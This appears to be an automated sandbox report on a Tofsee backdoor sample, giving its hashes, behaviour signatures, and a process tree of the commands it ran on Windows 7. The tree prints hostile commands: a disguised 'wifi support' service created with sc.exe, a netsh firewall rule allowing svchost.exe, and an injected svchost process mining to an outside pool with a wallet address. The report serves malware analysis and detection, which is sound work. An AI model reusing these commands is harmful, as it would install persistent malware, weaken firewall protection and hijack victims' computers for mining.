Overview

overview

10

Static

static

9730015009...83.exe

windows7_x64

10

9730015009...83.exe

windows10_x64

10

Analysis

  • max time kernel
    148s
  • max time network
    149s
  • platform
    windows7_x64
  • resource
    win7v20201028
  • submitted
    15-11-2020 22:45

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General

  • Target

    9730015009d0cbdbe0c743316f68e649e6ae212df7e0f9769b75f9d9275c8e83.exe

  • Size

    14.5MB

  • MD5

    1a59bd862e027948f92eed55452f7c31

  • SHA1

    d8fe3364013d021cbfbd24e09e6fd3abe7fa4533

  • SHA256

    9730015009d0cbdbe0c743316f68e649e6ae212df7e0f9769b75f9d9275c8e83

  • SHA512

    00870b04fe5a494317d0e0ed95b4278f26eb8ad153cae47e15cdb02705127e8552584da7cb2f189828557dd61bbda50a82baf3d6156bd6494dd9cd8b1a9ee22f

Score
10/10
tofseeevasionpersistencetrojan

Malware Config

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

    trojantofsee
  • Windows security bypass 2 TTPs
    evasiontrojan
  • Creates new service(s) 1 TTPs
    persistence
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs
    evasion
  • Sets service image path in registry 2 TTPs
    persistence
  • Deletes itself 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Modifies service 2 TTPs 6 IoCs
    persistence
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe

    Sc.exe is a Windows utlilty to control services on the system.

  • Modifies data under HKEY_USERS 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\9730015009d0cbdbe0c743316f68e649e6ae212df7e0f9769b75f9d9275c8e83.exe
    "C:\Users\Admin\AppData\Local\Temp\9730015009d0cbdbe0c743316f68e649e6ae212df7e0f9769b75f9d9275c8e83.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1688
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\jwulyizh\
      2⤵
        PID:1748
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\elyybmez.exe" C:\Windows\SysWOW64\jwulyizh\
        2⤵
          PID:1532
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create jwulyizh binPath= "C:\Windows\SysWOW64\jwulyizh\elyybmez.exe /d\"C:\Users\Admin\AppData\Local\Temp\9730015009d0cbdbe0c743316f68e649e6ae212df7e0f9769b75f9d9275c8e83.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
            PID:1660
          • C:\Windows\SysWOW64\sc.exe
            "C:\Windows\System32\sc.exe" description jwulyizh "wifi internet conection"
            2⤵
              PID:328
            • C:\Windows\SysWOW64\sc.exe
              "C:\Windows\System32\sc.exe" start jwulyizh
              2⤵
                PID:1124
              • C:\Windows\SysWOW64\netsh.exe
                "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
                2⤵
                • Modifies service
                PID:1088
            • C:\Windows\SysWOW64\jwulyizh\elyybmez.exe
              C:\Windows\SysWOW64\jwulyizh\elyybmez.exe /d"C:\Users\Admin\AppData\Local\Temp\9730015009d0cbdbe0c743316f68e649e6ae212df7e0f9769b75f9d9275c8e83.exe"
              1⤵
              • Executes dropped EXE
              • Suspicious use of SetThreadContext
              • Suspicious use of WriteProcessMemory
              PID:1816
              • C:\Windows\SysWOW64\svchost.exe
                svchost.exe
                2⤵
                • Deletes itself
                • Drops file in System32 directory
                • Modifies service
                • Suspicious use of SetThreadContext
                • Modifies data under HKEY_USERS
                • Suspicious use of WriteProcessMemory
                PID:272
                • C:\Windows\SysWOW64\svchost.exe
                  svchost.exe -o msr.pool.gntl.co.uk:40005 -u 5nFN8BzQ1qP3PkbVHj5ooXSENsHFHMAj51jbA7YySkuEH8nBDYWHhhFQjiwcVqb9H8Soz3YTG6SijYVz1ntV1TAa5qAMCwu+60000 -p x -k
                  3⤵
                  • Suspicious use of AdjustPrivilegeToken
                  PID:980

            Network

            MITRE ATT&CK Enterprise v6

            Replay Monitor

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            Downloads

            • C:\Users\Admin\AppData\Local\Temp\elyybmez.exe
              MD5

              6d429c6f4ca6c06134243f429ed6acd9

              SHA1

              ed9f0d9d3369b22bc7feaa48518ca569ee503738

              SHA256

              6ce6b7093df22aebad9eb6f8302d62f24f0f92ce86e8045ea84eaad44b8ef390

              SHA512

              782d088b6fd799bdfb05372a75acac193cc84031ed5816588b561d92c84d83df41d1fe068118e5bffc2c2001a87c831f839ba409d372a088c968ce6b78b95e94

              Download Submit

            • C:\Windows\SysWOW64\jwulyizh\elyybmez.exe
              MD5

              6d429c6f4ca6c06134243f429ed6acd9

              SHA1

              ed9f0d9d3369b22bc7feaa48518ca569ee503738

              SHA256

              6ce6b7093df22aebad9eb6f8302d62f24f0f92ce86e8045ea84eaad44b8ef390

              SHA512

              782d088b6fd799bdfb05372a75acac193cc84031ed5816588b561d92c84d83df41d1fe068118e5bffc2c2001a87c831f839ba409d372a088c968ce6b78b95e94

              Download Submit

            • memory/272-13-0x0000000000210000-0x0000000000220000-memory.dmp

              Filesize

              64KB

              Download

            • memory/272-16-0x0000000000230000-0x0000000000237000-memory.dmp

              Filesize

              28KB

              Download

            • memory/272-15-0x0000000005840000-0x0000000005C4B000-memory.dmp

              Filesize

              4.0MB

              Download

            • memory/272-14-0x0000000000220000-0x0000000000225000-memory.dmp

              Filesize

              20KB

              Download

            • memory/272-12-0x0000000000140000-0x0000000000146000-memory.dmp

              Filesize

              24KB

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            • memory/272-11-0x0000000001C10000-0x0000000001E1F000-memory.dmp

              Filesize

              2.1MB

              Download

            • memory/272-8-0x0000000000080000-0x0000000000095000-memory.dmp

              Filesize

              84KB

              Download

            • memory/272-9-0x0000000000089A6B-mapping.dmp

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            • memory/328-4-0x0000000000000000-mapping.dmp

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            • memory/980-17-0x0000000000270000-0x0000000000361000-memory.dmp

              Filesize

              964KB

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            • memory/980-18-0x0000000000270000-0x0000000000361000-memory.dmp

              Filesize

              964KB

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            • memory/980-20-0x000000000030259C-mapping.dmp

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            • memory/1088-6-0x0000000000000000-mapping.dmp

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            • memory/1124-5-0x0000000000000000-mapping.dmp

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            • memory/1532-1-0x0000000000000000-mapping.dmp

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            • memory/1660-3-0x0000000000000000-mapping.dmp

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            • memory/1748-0-0x0000000000000000-mapping.dmp

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